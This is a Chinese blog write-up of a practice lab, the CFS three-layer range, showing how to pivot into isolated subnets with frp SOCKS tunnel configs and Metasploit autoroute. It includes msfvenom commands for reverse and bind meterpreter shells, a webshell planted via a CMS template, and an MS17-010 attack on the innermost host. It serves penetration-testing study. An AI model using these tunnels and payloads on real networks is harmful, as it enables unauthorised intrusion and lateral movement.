0%

CFS三层靶场的穿透实践

前言

再一次CTF比赛中遇到了三四层穿透的靶场,当时由于没有外网,而且也不知道什么网络原因导致穿透三层的时候一直没成功。这个假期正好有时间就找了一个靶场,看看多层的穿透到底应该怎么来比较方便。

靶场选取的是CFS三层靶场,网上一搜就有,这里不再提供下载链接了。

环境搭建

网络环境

这里是三层网络环境,设置了三个vmnet:

image-20221005202301343

拓扑图

image-20221005205842224

攻击比较简单不再赘述,这里主要是记录下穿透的方案。我们默认拿到了每一层机器的命令执行权限。其中靶机2和靶机3是无法出网的。

穿透内网

frp

首先是一层穿透

首先我们分别上传frp工具到我们的公网vps和靶机1,然后vps中的server如下设置:

1
2
3
4
5
6
7
# frps.ini
[common]
bind_port = 8700
# 工作台配置,不需要可以不配置
dashboard_port = 8500
dashboard_user = admin_xxx
dashboard_pwd = password_788_xxX

后台启动

1
nohup ./frps -c frps.ini &

我们拿到靶机1的权限后上传frp,并进行如下设置即可穿透内网。

frcp.ini

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# frpc.ini
[common]
# 服务端地址
server_addr = vps_ip_addr
server_port = 8700
tls_enable = ture

# 使用socks插件和Proxifier工具实现代理功能
[plugin_socks]
type = tcp
remote_port = 8600
plugin = socks5
plugin_user = admin
plugin_passwd = admin123
use_encryption = true
use_compression = true

# 内网穿透功能 ssh 111.111.111.xxx:6000
[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 8601

后台启动

1
nohup ./frpc -c frpc.ini &

然后我们使用proxifer工具进行设置:

image-20221005204356532

添加应用safari浏览器,然后访问192.168.22.128即可:

image-20221005204428521

当然你也可以使用其他工具,或者直接挂一个终端代理:

1
export all_proxy=socks5://admin:admin123@vps_ip:8608

image-20221005204655512

现在我们就进入到了第二层,然后通过注入拿到账户密码并登录后台写入模版一句话木马。

image-20221005204750956

我们通过添加代理应用antsword到proxifier工具中即可连接第二层的靶机2的木马:

image-20221005204841173

下面我们需要考虑如何才能访问到第三层?其实frp是支持这样多层代理的,我们只需要把靶机1当作中继,做一个http的代理,然后在靶机2上开启sockts,具体设置如下。

首先vps上的的frp server服务不需要更改,我们需要在靶机1中同时启动frps和frpc。

其中frps.ini如下:

1
2
3
4
[common]
bind_ip = 192.168.22.131
# 靶机1的第二个网段ip,靶机2可访问到,在一个网段。
bind_port = 7000

其中frpc-proxy.ini如下(原来的frpc.ini也可以继续启动,这样方便随时切换到一层代理):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# frpc.ini
[common]
# 服务端地址
server_addr = vps-ip
server_port = 8700
tls_enable = ture

[http_proxy]
type = tcp
remote_port= 8608

#plugin = scoks5 这个不能加了,现在是http中转到代理

local_ip = 192.168.22.131
local_port = 8608

现在我们在我们拿下的靶机2上上传frp,并设置frpc.ini:

1
2
3
4
5
6
7
8
9
[common]
server_addr = 192.168.22.131
server_port = 7000

[http_proxy]
type = tcp
remote_port = 8608
plugin = socks5

启动靶机1的frps frpc 和靶机2的frpc 即可完成代理穿透,这时我们可以设置proxifier工具的代理如下:

image-20221005205636335

safari访问成功

image-20221005210019571

终端代理也可访问成功

image-20221005210059941

可以看到最里面的靶机3了,但是靶机3需要ms17010攻击,在进行ms17010攻击时,代理多次断开,这里就不再展示截图了。所以如果要结合msf使用还是最好使用msf的路由(后面会详细介绍msf的路由穿透)。

frp的缺点

frp不太稳定 使用msf进行利用永恒之蓝的时候总是断开,所以下面还是介绍下msf如何穿透进入内网。

备注:frp最好后台启动 要不然终端退出即失效。frp可以启动多个,所以一层二层代理可以同时存在,只要理清楚就好,这样也方便我们随时挂一层代理去访问靶机2重新开启二层代理。

另外,frp是支持多层代理的,可以继续保持前面的frps不变,在靶机三上再次开启和靶机2一样的frps和frpc进行第三层代理。因为这里没有四层环境,也不再截图赘述。**

scokts4代理一般都是走的tcp所以这个代理完使用nmap使用-sT ,别的可能会无法扫描到端口。但是测试过程中发现sockts5是无法进行nmap的端口扫描的 还不知道是什么原因。我这里扫描端口使用的是TCP端口扫描工具,但是sockts5穿透网络进行http访问是没有问题的,而kali和攻击机(macos)使用sockts4进行nmap扫描也是没有问题的,就是需要-sT。

MSF穿透三层内网打445

这里我们不再赘述如何攻击靶机只谈论如何使用msf攻击第三层的靶机3(windows机器,445存在漏洞)

这里我们在我们的攻击机上启动msfconsole,同时生成一个反向连接的elf木马通过蚁剑上传到靶机1(即192.168.123.29/192.168.22.131)上:

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.123.221 LPORT=9987 SessionCommunicationTimeout=0 SessionExpirationTimeout=0 -f elf >shell.elf 

然后我们的msfconsole设置监听,蚁剑执行上线:

image-20221006111135484

上线后我们直接添加路由

1
run autoroute -s 192.168.22.0/24

image-20221006111234927

我们使用主机发现模块和端口扫描模块进行内网扫描:

1
2
use auxiliary/scanner/discovery/*
use auxiliary/scanner/portscan/tcp

image-20221006112132980

可以发现128这个ip存在多个端口,然后我们拿下128的shell。此时我们使用msfvenom进行一个正向木马的生成:

1
msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=9002 -f elf > shell2.elf

msfconsole开启新的监听,然后蚁剑上传并执行得到session:

image-20221006112417935

现在我们在此添加路由

1
run autoroute -s 192.168.33.0/24

image-20221006112507814

然后经过主机发现192.168.33.33存在445,尝试一下ms17010:

image-20221006112657017

这样我们就打到了第三层的靶机3

所有靶机我们都拿到了:

image-20221006113952985

备注:拿到meterpreter时不要退出使用background后台挂起,否则无法继续渗透。

总结

frp单层代理确实非常稳定,但是多层代理时并不是很好用,还是推荐使用msf。msf的工具挺齐全的可以基本做到完整的内网穿透利用。当然msf也提供了sockts5的代理,当需要使用的时候可以使用msf进行sockts代理的开启,然后使用proxifier工具进行其他工具的代理使用。在测试过程中发现sockts5的代理无论是msf的还是frp的在进行nmap扫描的时候都会出问题,目前原因还未可知。

下次有时间搞明白为什么sockts5在进行nmap代理的时候无法扫描端口。无论是frp的sockts5还是msf生成的sockts5都存在这个问题。

更新补充

sockts5代理官方有说明并不能完全支持所有应用,所以sockts5支持nmap是有问题的。
另外scokts4可以支持部分扫描 仅可使用-sT参数

详情参考 https://security.stackexchange.com/questions/120708/nmap-through-proxy


采用署名-非商业性使用-相同方式共享 4.0(CC BY-NC-SA 4.0)许可协议
「分享也是一种学习」